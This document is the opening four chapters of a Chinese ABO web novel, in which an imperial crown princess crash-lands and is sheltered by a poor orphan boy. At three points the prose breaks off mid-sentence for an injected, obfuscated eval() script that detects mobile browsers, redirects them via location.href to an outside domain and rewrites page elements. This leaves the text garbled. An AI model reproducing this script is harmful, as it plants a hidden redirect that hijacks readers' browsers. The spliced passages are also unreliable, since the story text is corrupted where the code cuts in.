《她的水中月[GB]》 1. 第 1 章 帝国之巅,距地面一万两千米的云端餐厅。 怦! 江意衡手中的银制餐刀刚刚划开牛排,包厢门便在一声闷响中被人撞开。 人影踉跄数步,旋即被守卫按倒在地。 “擅闯王室成员的私人包厢,依照帝国律法,应以妨碍公务罪处置!” “让我和殿下说句话!” 被制住的人侧脸紧贴地板,一只手拼命举高,“只要五分钟,五分钟就好!” “这些话,您还是向安全署老实交代吧!” 守卫正要将人拖走,餐桌前的人却淡声开口。 “是我让他来的。” 江意衡轻放刀叉,目光未曾斜过一寸,“不是吗,闵执行长?” 整个包厢凝滞片刻。 两名守卫几乎下意识地松开手。 趴在地上的中年男子也抬起头,恍惚看清了眼前的身影。 江意衡肩披黑色军装大衣,内着白色及膝裙装,肩侧别着象征帝国王室的十二芒星。 长发被利落地盘成低髻,下颌角弧度优越。 端起水晶杯的姿态从容,气场令人难以逼视。 然而,这位年仅二十四岁的帝国王储并未将他放在眼里,只是不慌不忙抿了一口红酒。 身为F区的执行长官,闵涛顿时不知所措。 他出身贫民窟,面对这样的架势,不由声音发抖:“殿下,您……不能这样。” “这样?”江意衡轻晃水晶杯,“哪样?” 闵涛脸上掠过一丝错乱。 他努力沉住气:“三天前,您亲自签署提案,将F区的税率由2%上调至4%。这对我们而言,实在是……太高了。” “高?” 江意衡仿佛听到什么可笑字眼,第一次将目光落在他身上。 这位F区执行长官两鬓斑白,神色却执拗得像个初入官场的新人。 “看你这年纪,也不像第一天上任。” 她的笑意未达眼底,“上一个坐在你这位置上的人,可没你这么天真,以为只要见到帝国王储,就能讨到什么便宜。” 闵涛微微一怔,却不退缩:“F区的居民九成都是贫民,连帝国最低生活线都达不到。别说是2%,就连0.1%的增幅,也足以压得他们喘不过气。” “我为什么要在乎他们的意见?” 江意衡眨了眨眼,“在我的位置上,我只考虑我该考虑的事情。” 闵涛从怀中取出一张皱巴巴的复印件,双手颤抖着呈上。 “这是陛下在继位之初亲自批下的文件。二十年前,他特意将F区的税率定在2%,正是为了保护当地民生。殿下若是现在推翻,那王室的信誉……也会动摇。” 江意衡连看都没看那张纸一眼。 “你也知道,F区的税率已有二十年未曾变更。这样的恩赐,你们还想消受多久?” 她微微俯身,手指在杯柄上收紧:“何况,我又不是我父亲。” 五分钟一到,守卫上前,将仍试图辩驳的F区长官架走。 包厢内又恢复了沉寂。 水晶杯中,微温的赤霞珠酒液沿着杯壁徐徐滑落。 骨瓷盘上,牛排切口渗出的粉红汁水早已晕开一片。 这本该是江意衡一天之中,难得独处享用美食的时光。 可现下,她却没了胃口。 * 晚霞自云海尽头倾洒,将她的影子拉长。 江意衡穿过玻璃筑成的空中长廊,径直走向停机坪。 耳边的微型通讯器传来熟悉的问候:“殿下,晚餐还合意吗?” “陆队长,你明知今天有人闯进包厢。” 江意衡冷笑,“没拦住他,可是近卫队的重大过失。” “手下失职,首当其责的人是我。”陆怀峰一如既往地恳切。 “下次自作主张之前,先告诉我一声。” 江意衡语锋一转,“不要以为我会看在过去的交情上,一而再再而三地宽恕你。” “是。” 陆怀峰顿了顿,“这次民意调查的结果已经公布,您想听吗?” 舱门在江意衡身后合拢。 老式引擎启动时,主屏幕短暂地闪了一下。 她瞥了一眼,漫不经心道:“我的支持率,比上个月高了,还是低了?” “降幅并不显著,可计入周期波动范围内。具体数值……” “也就是没变。” 起飞途中微微颠簸,江意衡靠在座椅上,抬手按了按太阳穴,“除此之外,你没别的事向我汇报?” 陆怀峰稍稍清嗓:“您针对B区科技巨头的垄断行为,限制各企业市场份额的提案,面临内阁过半成员的反对。” “言敬玄怎么说?” “言总理尚未表态,但目前的局面对您不利。科技巨头与贵族一向往来密切,即便是陛下本人,也不会希望您过多干预。” “他当然不希望。” 江意衡轻嗤一声,随口跳过话题,“对了,D区的地下风俗产业整治得怎么样?” “完全取缔很难。这些灰色产业在当地有帮派照应,当地经济总督曾试图介入,结果您也知道了。” “他被砍断了一条手臂。” 江意衡提起这件事,却没有半分同情,“少条胳膊又不影响他端酒应酬。说不定,那是他监守自盗之后,用来洗脱嫌疑的苦肉计。” 陆怀峰沉默了片刻。 “事已至此,下一步,您打算如何?” 江意衡没有作答,只是垂眸看向腕上的光脑终端。 时间,比原定计划晚了十分钟。 舷窗外的云层比任何时候都要沉厚,雨点织成帷幕,不时有雷光闪烁。 帝国对王室飞船的航行调度向来精准,即便是在这种天气,也不应出现如此显著的误差。 但这不是她眼下最关心的事。 每年这一天,江意衡都会掐着第一缕夜色离开中心区,飞越数千公里,抵达布满废弃工厂的E区。 那里,埋葬着她与母亲共同的回忆。 雷雨倾盆,闪电划破夜空。 终端突然响起占线的提示音,一道新的通讯信号强行接入,将她的思绪拉回眼前。 “知不知道,你今天忘了什么?” 屏幕中的那张面容与她有七分相似,但更为硬朗威严,目光锐利如鹰。 是父亲。 江意衡头也未抬,只一边检查仪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790832|174944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表盘,一边淡声应答:“我一早外出处理公务,方才还从陆怀峰那儿听了点情报。怎么,现在连这些小事,也需要单独向您汇报?” “言总理的小儿子在王宫等了你整整一下午,你却连影子都没有。” 帝国君王的语气带着不容置喙的威压,“如果不是他的随行助理看不下去,私下向我通报,我都不敢相信,你居然放着安排好的日程不管,自作主张去忙什么公务。” 今天,是母亲的忌日。 而父亲关心的,却是她没有出现在相亲现场。 江意衡觉得讽刺。 “您说得对,这是您的安排。您甚至从来没有问过我的意见。” “这件事,不需要你有意见。” 即便是责备,他的情绪依然克制得可怕,“你还记得自己身为王储的责任吗?” 江意衡合上仪表盘盖,目光落回屏幕,微微凝眸。 “对帝国,我或许有待命的责任。但对您选中的人,”她挑起唇角,“女儿没有。” “江意衡!” 屏幕中,帝国君王的面容骤冷,怒极之下,重重念出她的全名。 通讯就此中断。 舷窗外已是一片黯淡,浓云低垂,雨水模糊了天与地的轮廓。 江意衡沉默着收回视线,低头打量膝上的花束。 黑色绸缎包裹之下,洁白的花朵是如此娴静安详。 她微抬指尖,正要摘去一片发皱的花瓣,仪表盘上的警示灯忽然亮起。 下一秒,刺耳的警报声撕破静谧。 【警告!警告!】 【检测到未知信号干扰,飞船失去卫星导航,正在连接备用信号塔!】 【系统异常,连接失败!连接失败!】 江意衡试图切到手动驾驶,屏幕却闪烁不止,毫无响应。 【飞船即将启动就近着陆程序,请您立刻做好弹射准备!】 【十,九,八……】 安全锁在座椅上猛地收紧,手中的花束却在失重瞬间,挣脱她的怀抱。 骤闪的红光,尖叫的警铃,颠倒的空间,还有弥漫在飞船中的白色花瓣…… 她的世界坠入黑暗。 * 记忆里的夏日,携着大片盛放的茉莉花扑面而来。 江意衡恍惚看到,母亲伫在视野尽头的花影之中,温柔地朝她张开怀抱。 然而,从颅内爆发的疼痛,旋即撕碎了画面。 耳中嗡鸣不止,仿佛利针刺入她的意识。 额角突突作响,每一次脉搏跳动都像铁锤敲击头骨。 她动了动指尖,身体却因一阵突如其来的痉挛变得僵硬。 眼前是泛黄的灯光,鼻尖萦绕着若即若离的茉莉香气,耳畔还伴随着细碎而陌生的动静。 江意衡眯起双眼,只模糊看到一把剪刀被人握在手中,寒光闪动着撬入视野。 她屏住呼吸。 靠近的人影分明不安,剪刀放下后,取而代之的,是一只犹豫着探向她鼻息的手。 指尖即将触及她的瞬间,江意衡睁大双眼,反手钳住那只手腕,将人狠狠拽向自己,同时借力翻身,把他牢牢压在身下。 她第一次,看清了这张脸。 2. 第 2 章 那是一张年轻却苍白的面容。 少年的双眼因错愕而瞪圆,急促的呼吸使他鼻翼翕动,冻红的双颊在昏黄光线下尤为刺眼。 微张的淡色双唇泄露出不稳气息,而那道脆弱的喉结在他清瘦的颈间上下轻颤,克制又惶然。 他似乎没料到她还能翻身反制,空无一物的双手仍在发颤,干裂的唇瓣不住开合,却迟迟发不出声音。 直到,他的目光忽然偏向她的额角,瘦弱指尖不自觉抬起。 没有丝毫松懈,江意衡将他过于纤细的手腕扣得更紧。 在她开口质问前,一滴温热液体却啪地落在少年面上,于他微红颊边绽开一朵猩红血花。 她斜眸,视线下意识地循向血痕所在,不待她寻索什么,又一滴血落下。 这一次,它沿着少年的唇角边缘,一点一点,向他齿关深处没入。 浓艳的鲜血在他惊惧的面容上先后绽开,于她的视野中,勾勒出一幅难以言喻的画面。 他好像忘了该如何抵抗,只一动不动,连呼吸都压抑到极致。 江意衡迟疑着松开一只手,拂过额前。 粗糙的纱布划过指尖,湿润而冰凉,她垂眸看去,才发现掌心早已沾满浓稠的鲜血。 而这时,一只苍白的手却探向她的额前。 身体下意识地绷紧,全身血液仿佛在此刻凝结,感官被牢牢钉死在他的指尖。 须臾间,她的脑中飞速掠过无数种可能的后果。 但最终,她只感到一只带茧的指尖停在她的额边,近乎小心翼翼地,将一缕被血黏住的碎发拨到一旁。 江意衡一愣。 意识尚未回神,她的手却本能地抽出绑在腿侧的匕首,冰冷刀尖转瞬间抵上少年颈侧。 “说。” 她听到自己的声音喑哑,透着血的滞涩,却不失凌厉,“你是谁?” ………… 我是谁? 简星沉不止一次问过自己。 他是贫民窟的孤儿,住着政府补贴的安置房,虽然考上大学,却连学费都交不起。 最近物价飞涨,他只能比别人起得更早,多捡点废品。 几天前,他被小混混拦路打劫,白忙活一天,还赔上整整一周的收入。 为了弥补损失,才冒险深夜回到垃圾场。 午夜的风吹得满地废品叮当作响,不时有鸮鸟扑翅掠过头顶。 江意衡当时就挂在一棵歪脖子树上,白裙沾着血与灰。 被月光一照,像鬼。 捡过那么多废品,这还是他第一次捡到死人。 他下意识想跑,余光却看到尸体的指尖动了一下,整个人毫无防备跌坐在地。 姥姥生前总告诫他,要少管闲事。 可江意衡没死,他总不能视而不见。 骑回去的一路上,他一直很忐忑。 刚才还挂在树上的人,如今裹在一条旧棉被里,像个花粽子似的,安静躺在三轮车的车厢里。 只是没想到,他救下的人醒来后,所做的第一件事,却是朝他挥刀。 ………… 刀尖悬在半空。 江意衡只觉手腕受阻,她的手被一只带着薄茧的温暖手掌握住。 她本不该迟疑。 然而,制止她的手掌透着难以言喻的包容。 就好像,哪怕她将刀锋朝上露出,他也会毫不犹豫握住她的手。 “别动。” 少年声音很轻,俨然是在恳求。 那双清隽的眉蹙着,像两道柔软的墨。 “伤口,会裂开的。” 虽然他视线微敛,神色带怯,两只眸子却干净得像是最清澈的泉,将她眼底的怀疑映得一清二楚。 “回来之后,你的头上一直在流血。我刚才帮你包扎,可你中途就醒了。” 他被她扣在自己的床铺上,动弹不得,“我,我真没想过,会吓到你。” 少年说话磕磕绊绊,语气却坦诚,目光一眼见底,不像是在撒谎。 江意衡总算相信,他方才拿着剪刀靠近,确实只是因为,他需要修剪纱布而已。 “我要收刀,”她敛起语气,“你可以松手了。” 少年慌忙撤去双手,指尖微蜷着收在身侧。 江意衡盯着他的眼睛,过了一会才缓缓松开桎梏,膝盖从他腿上挪开,匕首入鞘。 她留意到裙子侧边用来装饰的纽扣似乎少了一个,但也不记得,原来到底有五颗还是六颗。 原本被她压在下面的少年这才慢吞吞起身,脸上挂满薄汗。 那身宽大到过分的衣服上,不但满是压褶,还沾了几道血污。 不过,江意衡并没打算为自己刚才的举动道歉。 她需要尽快确认自己受伤的程度,以便判断接下来优先处理什么。 “有镜子吗?” 话音响起时,简星沉已经下床。 他正在整理衣服的途中,两只手在身侧僵硬地搓了搓,转头望向她时,眼里浮现木讷。 “怎么,不行?”江意衡不知道这有什么难的。 除非,他不希望她看出什么。 直到她伸手探向额前,他才忽然开口:“我,不方便。” “你要是不想给,我自己找。” 江意衡按住仍在流血的伤口,翻身下床,精准绕过他向她伸出、却顿在身前的那只手。 这是她第一次打量少年的住处。 很小。 从床边走到门口才六七步,整个屋子恐怕连十五平米都不到,甚至不如王宫里的酒柜大。 屋里只有一张单人床,床侧摆着一张堆有书本的小矮桌。 没有椅子,却有一个陈旧的布坐垫。 斜对角的小炉子上架着一口小锅,一边堆着蜂窝煤,另一边挨着水池,勉强算是他的厨房。 屋子余下的一角,是用布帘子隔开的狭小卫生间。 除此之外,屋里沿墙堆满各式废材,有空瓶罐、铁板铜片、七成新的车轮胎…… 甚至连床底和桌底,还塞了好几捆硬纸板。 虽然没有明显臭味,却能闻到金属锈蚀的酸味,和陈旧瓦楞纸的灰味。 江意衡不由捏住鼻子。 整个屋子与其说是住处,不如说是个分了区的垃圾堆。 她收回视线:“这屋里,连个镜子都没有吗?” “摔碎了,还没来得及买新的。”少年低声道。 他的手缩进袖子,指尖攥着毛衣侧缝,视线落在被裤腿遮住的脚上。 江意衡微微沉默。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790833|174944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才巡视屋子,好像让他很没面子。 但她向来没有安慰人的习惯,只想确认自己没有毁容。 她随意坐回他的床上,头也不抬地朝他“喂”了一声。 “既然你没镜子,那你过来。” 简星沉徐徐转过脸,目光却与她的视线错开。 孤寂已久的屋子里突然多了一个人,她像风一样从他眼前扫过,对他辛苦攒来的回收品不屑一顾,仿佛那些对她而言,全都是无足轻重的废物。 明明是他决定把人带回来,也是他把她暂时安置在他的住处,可他反倒先在自己的地盘上局促起来。 或许是因为,她的目光太过直接,几乎能把他洞穿。 或许是因为,她的语气太过理所当然,好像无论她问什么,都理当得到答案。 江意衡迟迟等不到他开口,耐心很快消磨殆尽:“我只是让你告诉我,我现在脸上是什么样子,这对我很重要。” 一个王储,绝不能在脸上留下任何疤痕。 简星沉犹豫了一下。 他很清楚,江意衡额头上的纱布早已被血浸透,红一片,紫一片,发丝被血黏连成缕,脸颊上还有几道由枝叶划开的口子。 虽说他不介意处理那些黏糊糊的伤口,但要让他当面对她描述这副画面…… 她应该不会想听实话的。 “把头抬起来。” 江意衡抱着手臂,语气像在下命令,“你得看着我,才能回答我的问题。” 简星沉抠着指尖,斟酌许久,才迎上她的目光。 江意衡的眼里藏着某种他从未见过的东西,既明亮,又冰冷刺骨。 不过是对视的片刻,他就生出一种前所未有的惶恐,慌忙撇开视线。 “你那是什么见鬼一样的反应。” 她听起来不太高兴,“伤口要是真有那么吓人,现在晕过去的人,就该是你了。” “那不一样。” “能有什么不一样。” 江意衡垂下腿,一只手慵懒地撑在膝盖上,微微放低身形,“我醒不醒,伤口不都是那样。” “你看着我,我没法包扎。” 少年目光躲闪,“就像你现在看着我,我也没法描述你的伤口。” “莫名其妙。” 江意衡几乎被他气笑了,“我可没用眼神挑你的手筋,也没用眼神锁你的喉。” 少年的脸腾地烧起,颊上红晕像一朵瞬开的花,炸到耳根。 “你只是看着我,我,我就没法想别的了。” 屋里霎时变得安静。 江意衡像是看着一个外星人那样看着他。 他方才的表现,对一国王储而言,绝对够得上冒犯。 换作平时,不用她费心,近卫队就足以让他吃尽苦头。 不过,屋里没有电视,也看不到报纸。 江意衡不确定,他对她的情况了解多少。 “知道我是谁吗?” 简星沉还没从刚才的羞恼中回过神,半张着唇,茫然“啊”了一声。 他一定是惹到她了。 贫民窟里的小混混每次为难他时,都会这么问他。 “江意衡,这三个字。” 她挑眉,一字一顿念出自己的名字,“你听过吗?” 3. 第 3 章 简星沉是真的没听过“江意衡”这三个字。 可她已经很不高兴了。 如果他接下来的话不能让她满意,他唯恐,自己再也得不到任何好脸色。 “是你的名字吗?” 少年垂着长睫,小声忐忑道,“挺好听的。” “我没问你这个。” 江意衡唇角微扬,眼里却没什么温度。 她算是看出来了,他根本什么都不知道。 指望他能派上用场,还不如指望王室近卫队早点找到她。 这念头刚从脑海划过,血忽然滑落眼前。 江意衡捂住额头。 温热的血瞬间浸染纱布,从她泛凉的指缝间渗出。 “血太多,纱布不够。” 少年匆匆上前,没有征求她的意见,抄起剪刀,径直为她剪开渗血的纱布。 江意衡几乎是瞪了他一眼。 他理当留意到她的视线,尽管她并不觉得,他有勇气再迎上她的目光。 可他只是拽开一卷干净纱布,低着头,专注地替她包扎。 这让她稍稍平静了一点。 她想,他或许会是一个好护士。 如果运气够好,拿到帝国资助的奖学金,学医也不是没可能。 江意衡视线放平时,恰好落在他的毛衣领口处。 这件土灰色毛衣比他的身形大出一圈,接缝处翘着几根线头,用褐色棉线缝补过的缺口十分显眼,还挂着满满一层毛球。 松垮的衣领随着他的动作时皱时平,露出少年胸前清晰的锁骨。 回过神时,江意衡已经盯着他胸前的冷白色皮肤看了好一会。 而他还在窸窸窣窣仔细修剪纱布,打结、固定,简直没完没了。 他毕竟不是王室专门聘请的家庭医生,远没有他们那么游刃有余,他的唯一优点就是专注,缺点却很多。 不说笑话,不会闲聊,一点也不照顾伤者的情绪需求。 江意衡想着,他如果真的要当护士,可得先学学,怎么让病人高兴。 “你叫什么?” 少年好像没料到她会突然问起这个,手上动作一顿,犹豫着开口。 “简星沉。” “星辰?”江意衡很意外,他的名字居然这么直白。 何况,起名字的人好像没想过,少年的身份,根本就压不住这两个字。 简星沉对她的反问却不意外,不像是第一次被人质疑。 他只是小声纠正:“不是那样,那个字……是沉默的沉。” “这样。” 江意衡想了想,这确实稳当了不少,旋即又更困惑。 什么样的人,会给孩子赋予这种立意一点也不积极的名字。 “你家人,为什么这么取名?” “我家人……” 提起自己的双亲,他的声音比刚才更低落,那句解释好像堵在喉咙里,迟迟说不出口。 江意衡想起,他住在不足十五平米的狭小屋子里,也就这么一张小床,不像是能容纳一家三口的地方。 就算勉强能塞下,屋里也看不出一家人同时生活的痕迹。 “他们不住这儿,出去打工了?” 他没有回答她的问题,抿起的唇角显出局促。 江意衡觉得,和他说话好累,每句都像在挤牙膏似的。 她忍不住重新打量了他一眼。 少年个子不矮,身上没什么肉,脸上还余着一点未褪尽的颊脂,年纪应该不大。 “你在上学?” 这只是个再平常不过的问题,他轻易就能报出他就读的年级。 可他却只是放轻声音,近乎心虚道:“没有。” “没在上学?” 江意衡向来看人很准,没想过自己会猜错,“你毕业了?今年多大?” “我办了延迟入学手续,” 简星沉的声音已经轻到快听不清,“今年,十九岁了。” 帝国的延迟入学只适用于大学,他至少,不是那种会早早辍学的社会青年。 可江意衡还是觉得奇怪:“延迟入学一般是因为健康原因,你是身体不好,还是……” “我在攒钱。” 简星沉难得有勇气打断她的话,“攒够了,我就会回学校报到的。” 江意衡敛了声。 帝国各地高等学府都有不同程度的助学津贴,以他这样的生活水准,拿着津贴完成学业总不至于有什么问题,居然还要特地自己攒钱。 一声轻响,是剪刀被他放回桌上。 少年转身清洗刀刃,还把那只挤瘪的药膏软管又卷起一截。 江意衡抬指探上自己额头,她能触到他为她裹上的纱布,层次清晰,边缘整齐,透着药膏的清凉。 他包扎的手艺,比预想中更好。 “你有没有想要的东西?”江意衡随口问,“就当我还你人情。” 少年团起换下的纱布,摇了摇头:“我自己可以攒。” 江意衡盯着他的背影,目光微眯,不信他一个穷小子,会错过这么好的机会:“真的?” 少年手上动作微微一顿,像是没兴趣继续这个话题:“等你伤好再说。” 江意衡轻嗤一声,偏开视线。 简星沉转过头,望着她的侧脸。 他注意到,她没再追问任何关于他的事情。 不管是他攒到学费后想选的专业,他打算找的兼职,毕业后计划从事的行业…… 如果她继续问下去,他完全可以继续说下去。 比起他的出身、他的经历,他真正憧憬的东西都还在未来。 可他为她完成包扎的一瞬间,她却像完成一件无关紧要的事情,随即失去了兴趣。 他这才明白,她并不是真的对他好奇。 她问那些问题,不过是因为,她觉得无聊而已。 少年垂下眼,沉默着将换下的纱布丢进黑色垃圾袋里。 那一瞬间,江意衡瞥见上面浸透的鲜血,部分已经氧化,深如陈年红酒。 她虽然闻不到,但很清楚,自己的信息素正是那种糖分最低、最为涩嘴的赤霞珠红酒香。 Alpha的血液里天然存在信息素,等级越高,信息素的浓度也越高。 江意衡遗传了父亲的顶级Alpha体质,她十五岁分化后每一次验血,信息素的指标都在参考范围内的最高点。 虽然她在半个月前打过抑制剂,但那只是抑制腺体对外散发信息素,并且隔绝Omega发情期的信息素干扰。 本就存在于血液中的Alpha信息素,并不会因此分解消失。 而她好像还没问过简星沉,他是ABO当中的哪种性别。 看着就不像Alpha。 那就只剩下Beta或者Omega。 要她单凭外貌分辨,还是难了点。 尽管她伤势未愈,腺体不像平时那样活跃,但出于基本的安全考量,江意衡还是问了一句:“你是Beta?” 简星沉顿住脚步,却没有马上回答。 见他愣怔,江意衡随口补充:“我一时半会走不了,以防万一,总要知道你的第二性别。如果你不是Beta……” “Beta。”像是怕她听不清那样,简星沉重复道,“我是Beta。” 少年始终背对着她,肩膀微缩,语气也不自然,江意衡不禁觉得可疑。 Beta的腺体发育程度低,分泌信息素的效率也低,外观小而扁平,容易区分。 江意衡无法肯定,他的回避是因为单纯害羞,还是另有隐情。 出于谨慎,她起身上前,打算确认一下。 她的手还没靠近他的后颈,少年却猛地闪开,脚步在粗糙的水泥地上向后划过两步,擦出急促的声响。 “你不能这样。” 这是简星沉第一次拒绝她,“你怎么可以,随便去探别人的隐私。” 江意衡耸耸肩,坐回床边。 反正她从苏醒以来,就没闻到任何陌生的信息素。 这屋子里,只有她自己的血腥味最浓。 如果少年真是Omega,不可能对其中的赤霞珠信息素毫无察觉。 简星沉站在水池边,借着肥皂反复搓洗双手,直到最后一丝血迹也顺着冰冷的自来水流走。 而这时,窗外才刚透出一点蒙蒙亮。 “不好。”他懊恼地抓了抓头发,“晚了。” 这几日,为了避免跟小混混再起冲突,他都尽量赶在黎明前往返。 可今天却因为照顾伤者的缘故,错过了原定出门的时间。 好在临冬时节天亮得慢,如果他速战速决,或许能踩点赶回来。 “床头柜有干货,保温瓶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790834|174944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有热水。如果你觉得疼,这里还有止痛药。” 简星沉把半板浅粉色药片放在桌上,从储蓄罐里捞出一把硬币。 转过身,他匆匆套上鼓囊囊的军绿色棉夹克,戴上一双发黄的针织手套,从门后挂钩扯下围巾。 “你身体还没好,要补一补。我出门,买点吃的回来。” 门开门合。 透过结霜的窗,江意衡看到少年利索地用围巾裹住巴掌大的脸,一脚蹬上三轮车的踏板,拐过弯就没了影。 只留下她一人在屋里,听着冷风从窗缝间呼啸而过。 她已经打量过这个家,知道少年住得有多寒碜、局促。 他说的干货,又能有多体面? 江意衡朝着床头柜瞄了一眼。 所谓的床头柜,其实是个半透明的收纳箱,外面还有标签留下的胶水印,和老鼠抓咬过的痕迹。 箱子里有两包密封的压缩饼干,帝国军中常见的品牌,可以存放五年不坏。 而上面的保质期,只到半年以前。 江意衡笑了。 她在军中接受训练时,为了配合王室宣传,曾身着军装啃食压缩饼干,让媒体拍下官方照片。 而实际上,她不过是面对镜头啃了一口,便将难以下咽的饼干丢进垃圾桶。 如今再看到这样的东西,她宁愿饿死,也不会吃一口。 保温瓶就立在地上,外层彩漆多处剥落。 她喝惯了冰镇矿泉水,单是看着从软木塞下逸出的热汽,就觉得烫嘴。 桌上摆着一只搪瓷杯,刷得还算干净。 但上面的点点瑕疵像洗不掉的黑胡椒颗粒,看得她直犯恶心。 她还是忍着,倒了点热水放凉。 屋里的食物和水都检查过一遍,江意衡这才信了,简星沉确实没有骗她。 他要是不尽快带吃的回来,她恐怕撑不到中午。 * 失血过多似乎影响了她的精神。 江意衡完全不记得,自己是什么时候睡着的。 一醒来,喉咙就干燥得好像黏在一起。 她下意识从床边端起那只布满瑕疵的搪瓷杯,杯中的热水早已凉透,入口满是杂质的涩味。 润过喉咙,饥饿的感觉旋即从胃里涌了上来。 江意衡顶住困乏想要起身,却因为低血糖感到天旋地转,只好靠着床头冷静片刻。 一低头,她的目光就落在边上的压缩饼干上。 不行。 江意衡盯着真空包装看了三秒。 她明明下过决心,绝对不会再碰这种东西的。 十分钟后。 江意衡抱着拆开的压缩饼干,一口又一口,近乎机械地啃咬。 过期半年的压缩饼干,与记忆中一样味同嚼蜡,但又确实能让肚子感到充实。 堂堂王储,竟然会对这种寡淡的干粮狼吞虎咽。 她觉得这大概可以载入帝国史册。 窗外最后一缕光线沉入地平线,而风愈发凶猛地拍打在窗上,发出迫切的鞭挞声。 江意衡看不到三轮车的影子,简星沉明摆着还没到家。 说好去买吃的,很快就回来。 这是出了意外,交代在路上了? 江意衡觉得,今天简直倒霉透了。 明明擦过窗,外面的世界却仍像蒙着灰一样晦暗。 开阔的荒地上,一排排灰色建筑像罗列整齐的收纳箱,毫无生气。 长期模块化安置房。 江意衡对这种F区特有的廉租房有印象。 地基浅,搭建一座不用一周,保温隔热都很差,适合低收入群体,偶尔也会出现在建筑工地旁。 而她目前所在的这间屋子亦不例外。 虽说王室只要循着飞船留下的黑匣子,迟早能定位到她的所在,但她绝不想在这种贫瘠荒僻的地方,一天一天干等下去。 裹上毯子,打开屋门,江意衡扛着几乎让她睁不开眼的寒风,围着破旧的小屋探路。 绕过第一个转角,她却在外墙边,看到有什么东西动了一下。 那是一团瑟缩的人影,罩着军绿色外套,藏在两片板子搭起的角落里。 苍白的脸上青一块、紫一块,眼角肿得像怪物,嘴边血迹未干。 江意衡刚迈出一步,他便下意识缩起身子,把自己更紧地裹进外套里。 4. 第 4 章 简星沉在躲她。 而江意衡一眼就看出来了。 “既然回来了,怎么不进屋?” 她没再走近,只是抱起手臂,“外面这么冷。” 少年不敢抬头,声音低得几乎听不清:“你先进屋吧。我,我马上就来。” 还想骗她。 江意衡的视线扫过一旁,那辆年久掉漆的三轮车上,早已积了一层新的霜尘,分明在屋外停了许久。 “我要是不出来,你是不是打算一直蹲在这儿?” 她的语气冷了下来,“让人饿着肚子在屋里等,又不是什么光荣的事。” 少年抿着唇,说不出话。 江意衡看到他身边那半卷拆开的纱布,忽然觉得好笑:“你出门,还随身带着这种东西?” 察觉到她的目光,简星沉从外套下伸出一只带血的手,赶紧把纱布往怀里拢了拢。 “我,我新买的。刚才不小心,从口袋里掉出来了。” 江意衡看得清楚,那纱布沾着血,分明是他用来给自己包扎的。 他甚至还试图拿外套遮住伤口。 “你要是想在外面呆着,你当然也可以在外面呆着。” 江意衡冷着声,“反正,我一下子也饿不死。” 简星沉慌忙摆手:“我刚才在窗外,看到你在吃东西,所以,所以才……” “当然了。” 江意衡打断他的话,抬手轻按喉咙,那里还残留着压缩饼干的干噎感,“我是不是应该感谢你,特地给我留下那种人间美味?” “压缩饼干,是不好吃。” 少年嚅着干裂带血的唇,忽然想起什么,从外套口袋里翻出一团皱巴巴的东西。 “我给你,带了点好的。” 他拿着两袋银色塑料的真空包装,上面印着醒目的“营养液”大字,一看就是最廉价的品种。 似乎怕她看不清,少年特意把营养液举高。 那张布满淤青、局部肿胀的脸,却仍在努力挤出笑。 江意衡不明白,他为什么还能笑出来。 “你一早出门折腾到现在,就只买了这种东西?” 她转身进了屋。 等她的身影消失后,少年才抱起外套和其他东西,默默跟了进去。 江意衡坐在床边,一言不发。 简星沉把外套和围巾挂回门后,又兑了半盆热水,小心翼翼把两袋营养液泡进去,用手搅了搅。 他的声音带着受伤后的沙哑:“袋装比瓶装方便携带,可以捏着慢慢喝,也不用加热,捂捂就温了。” 江意衡没反应。 简星沉顿了一下,很努力地对她解释:“我平常,不买这个的。只是因为你身体还没恢复,营养液不噎嗓子,更好吸收。” 他说话时,眼角那块紫红的疤痕微微弹动,好像蜈蚣爬过。 颊上的口子如同某种滑稽的纹身,随着他的唇瓣张合,在江意衡眼前晃来晃去。 破裂的唇角却像被胶水黏住,连发声都吃力。 他仍是穿着那件松垮的土灰色毛衣,肩膀和腰侧却被磨出了新的口子。 线头还没来得及缝,透出的皮肉上,隐约能看到不逊于脸上的新伤。 才不过半天而已。 江意衡不自觉地想,他应该是经常被打,才会对这一切习以为常。 简星沉从水盆里提起双手,伤痕被水泡过,更是鲜艳骇人。 他似乎是咬着牙,才有勇气把手拐到背后擦干。 那两袋廉价营养液漂在水里,慢悠悠地打着转。 夜色渐深,江意衡依然坐在床边。 手里那袋营养液已经瘪了,被她捏出窸窣的塑料声响。 另一袋漂在水里,简星沉没碰,说是留给她。 他兑着水吃了一点压缩饼干,就刷了牙。 营养液。 江意衡活到二十四岁,就没喝过这种九成都是蒸馏水,兑了各种补剂,还添加人工香精的纯工业产物。 